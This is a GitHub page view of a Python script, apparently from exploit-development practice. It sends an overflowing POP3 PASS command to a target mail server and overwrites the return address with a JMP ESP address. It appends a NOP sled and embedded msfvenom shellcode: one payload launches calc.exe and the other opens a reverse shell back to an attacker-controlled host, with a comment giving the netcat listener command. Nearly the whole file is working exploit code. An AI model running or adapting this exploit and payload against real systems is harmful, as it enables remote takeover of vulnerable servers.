-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
131 lines (118 loc) · 6.18 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from socket import socket, SOCK_STREAM, AF_INET
from struct import pack
RHOST = '192.168.0.100'
RPORT = 110 # pop3
READ_BUF_SIZE = 1024
MAX_BUF_SIZE = 2700
OFFSET = 2606
# find bad chars: 0x00, 0x0a, 0x0d (use mona next time!)
test_chars = (
'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10'
'\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
'\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
'\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
'\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70'
'\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80'
'\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
'\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
'\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
'\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
'\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
)
# msfvenom -p windows/exec -b '\x00\x0A\x0D' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread
def pop_calc():
shellcode_calc = b""
shellcode_calc += b"\xb8\x9c\xa1\xd9\x3b\xdd\xc4\xd9\x74\x24"
shellcode_calc += b"\xf4\x5a\x33\xc9\xb1\x31\x31\x42\x13\x83"
shellcode_calc += b"\xea\xfc\x03\x42\x93\x43\x2c\xc7\x43\x01"
shellcode_calc += b"\xcf\x38\x93\x66\x59\xdd\xa2\xa6\x3d\x95"
shellcode_calc += b"\x94\x16\x35\xfb\x18\xdc\x1b\xe8\xab\x90"
shellcode_calc += b"\xb3\x1f\x1c\x1e\xe2\x2e\x9d\x33\xd6\x31"
shellcode_calc += b"\x1d\x4e\x0b\x92\x1c\x81\x5e\xd3\x59\xfc"
shellcode_calc += b"\x93\x81\x32\x8a\x06\x36\x37\xc6\x9a\xbd"
shellcode_calc += b"\x0b\xc6\x9a\x22\xdb\xe9\x8b\xf4\x50\xb0"
shellcode_calc += b"\x0b\xf6\xb5\xc8\x05\xe0\xda\xf5\xdc\x9b"
shellcode_calc += b"\x28\x81\xde\x4d\x61\x6a\x4c\xb0\x4e\x99"
shellcode_calc += b"\x8c\xf4\x68\x42\xfb\x0c\x8b\xff\xfc\xca"
shellcode_calc += b"\xf6\xdb\x89\xc8\x50\xaf\x2a\x35\x61\x7c"
shellcode_calc += b"\xac\xbe\x6d\xc9\xba\x99\x71\xcc\x6f\x92"
shellcode_calc += b"\x8d\x45\x8e\x75\x04\x1d\xb5\x51\x4d\xc5"
shellcode_calc += b"\xd4\xc0\x2b\xa8\xe9\x13\x94\x15\x4c\x5f"
shellcode_calc += b"\x38\x41\xfd\x02\x56\x94\x73\x39\x14\x96"
shellcode_calc += b"\x8b\x42\x08\xff\xba\xc9\xc7\x78\x43\x18"
shellcode_calc += b"\xac\x67\xa1\x89\xd8\x0f\x7c\x58\x61\x52"
shellcode_calc += b"\x7f\xb6\xa5\x6b\xfc\x33\x55\x88\x1c\x36"
shellcode_calc += b"\x50\xd4\x9a\xaa\x28\x45\x4f\xcd\x9f\x66"
shellcode_calc += b"\x5a\xae\x7e\xf5\x06\x1f\xe5\x7d\xac\x5f"
return shellcode_calc
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.11 -f python --var-name shellcode_revtcp -b '\x00\x0A\x0D'
# listen with nc -lv 4444
def rev_shell():
shellcode_revtcp = b""
shellcode_revtcp += b"\xbb\x2c\x30\x83\xe6\xda\xcc\xd9\x74\x24"
shellcode_revtcp += b"\xf4\x5a\x29\xc9\xb1\x52\x31\x5a\x12\x03"
shellcode_revtcp += b"\x5a\x12\x83\xc6\xcc\x61\x13\xea\xc5\xe4"
shellcode_revtcp += b"\xdc\x12\x16\x89\x55\xf7\x27\x89\x02\x7c"
shellcode_revtcp += b"\x17\x39\x40\xd0\x94\xb2\x04\xc0\x2f\xb6"
shellcode_revtcp += b"\x80\xe7\x98\x7d\xf7\xc6\x19\x2d\xcb\x49"
shellcode_revtcp += b"\x9a\x2c\x18\xa9\xa3\xfe\x6d\xa8\xe4\xe3"
shellcode_revtcp += b"\x9c\xf8\xbd\x68\x32\xec\xca\x25\x8f\x87"
shellcode_revtcp += b"\x81\xa8\x97\x74\x51\xca\xb6\x2b\xe9\x95"
shellcode_revtcp += b"\x18\xca\x3e\xae\x10\xd4\x23\x8b\xeb\x6f"
shellcode_revtcp += b"\x97\x67\xea\xb9\xe9\x88\x41\x84\xc5\x7a"
shellcode_revtcp += b"\x9b\xc1\xe2\x64\xee\x3b\x11\x18\xe9\xf8"
shellcode_revtcp += b"\x6b\xc6\x7c\x1a\xcb\x8d\x27\xc6\xed\x42"
shellcode_revtcp += b"\xb1\x8d\xe2\x2f\xb5\xc9\xe6\xae\x1a\x62"
shellcode_revtcp += b"\x12\x3a\x9d\xa4\x92\x78\xba\x60\xfe\xdb"
shellcode_revtcp += b"\xa3\x31\x5a\x8d\xdc\x21\x05\x72\x79\x2a"
shellcode_revtcp += b"\xa8\x67\xf0\x71\xa5\x44\x39\x89\x35\xc3"
shellcode_revtcp += b"\x4a\xfa\x07\x4c\xe1\x94\x2b\x05\x2f\x63"
shellcode_revtcp += b"\x4b\x3c\x97\xfb\xb2\xbf\xe8\xd2\x70\xeb"
shellcode_revtcp += b"\xb8\x4c\x50\x94\x52\x8c\x5d\x41\xf4\xdc"
shellcode_revtcp += b"\xf1\x3a\xb5\x8c\xb1\xea\x5d\xc6\x3d\xd4"
shellcode_revtcp += b"\x7e\xe9\x97\x7d\x14\x10\x70\x42\x41\x1a"
shellcode_revtcp += b"\x8b\x2a\x90\x1a\x9a\xf6\x1d\xfc\xf6\x16"
shellcode_revtcp += b"\x48\x57\x6f\x8e\xd1\x23\x0e\x4f\xcc\x4e"
shellcode_revtcp += b"\x10\xdb\xe3\xaf\xdf\x2c\x89\xa3\x88\xdc"
shellcode_revtcp += b"\xc4\x99\x1f\xe2\xf2\xb5\xfc\x71\x99\x45"
shellcode_revtcp += b"\x8a\x69\x36\x12\xdb\x5c\x4f\xf6\xf1\xc7"
shellcode_revtcp += b"\xf9\xe4\x0b\x91\xc2\xac\xd7\x62\xcc\x2d"
shellcode_revtcp += b"\x95\xdf\xea\x3d\x63\xdf\xb6\x69\x3b\xb6"
shellcode_revtcp += b"\x60\xc7\xfd\x60\xc3\xb1\x57\xde\x8d\x55"
shellcode_revtcp += b"\x21\x2c\x0e\x23\x2e\x79\xf8\xcb\x9f\xd4"
shellcode_revtcp += b"\xbd\xf4\x10\xb1\x49\x8d\x4c\x21\xb5\x44"
shellcode_revtcp += b"\xd5\x51\xfc\xc4\x7c\xfa\x59\x9d\x3c\x67"
shellcode_revtcp += b"\x5a\x48\x02\x9e\xd9\x78\xfb\x65\xc1\x09"
shellcode_revtcp += b"\xfe\x22\x45\xe2\x72\x3a\x20\x04\x20\x3b"
shellcode_revtcp += b"\x61"
return shellcode_revtcp
# use mona to find JMP ESP instruction; convert to little endian
EIP = pack('<I', 0x5f4b5663)
def receive_response(opt='v'):
if (opt == 'v'): # verbose
print(s.recv(READ_BUF_SIZE).decode('utf-8'))
else:
s.recv(READ_BUF_SIZE).decode('utf-8')
s = socket(AF_INET, SOCK_STREAM)
s.connect((RHOST, RPORT))
receive_response()
s.send(b'USER legituser\r\n')
receive_response()
passwd_buf = b'PASS '
passwd_buf += b'A' * OFFSET
# use for finding bad chars
# passwd_buf += b'BBBB'
# passwd_buf += bytes(test_chars.encode())
passwd_buf += EIP
passwd_buf += b'\x90' * 20 # noop sled
passwd_buf += rev_shell()
passwd_buf += b'C' * (MAX_BUF_SIZE - len(passwd_buf)) + b'\r\n'
s.send(passwd_buf)
receive_response()
s.send(b'QUIT\r\n')
s.close()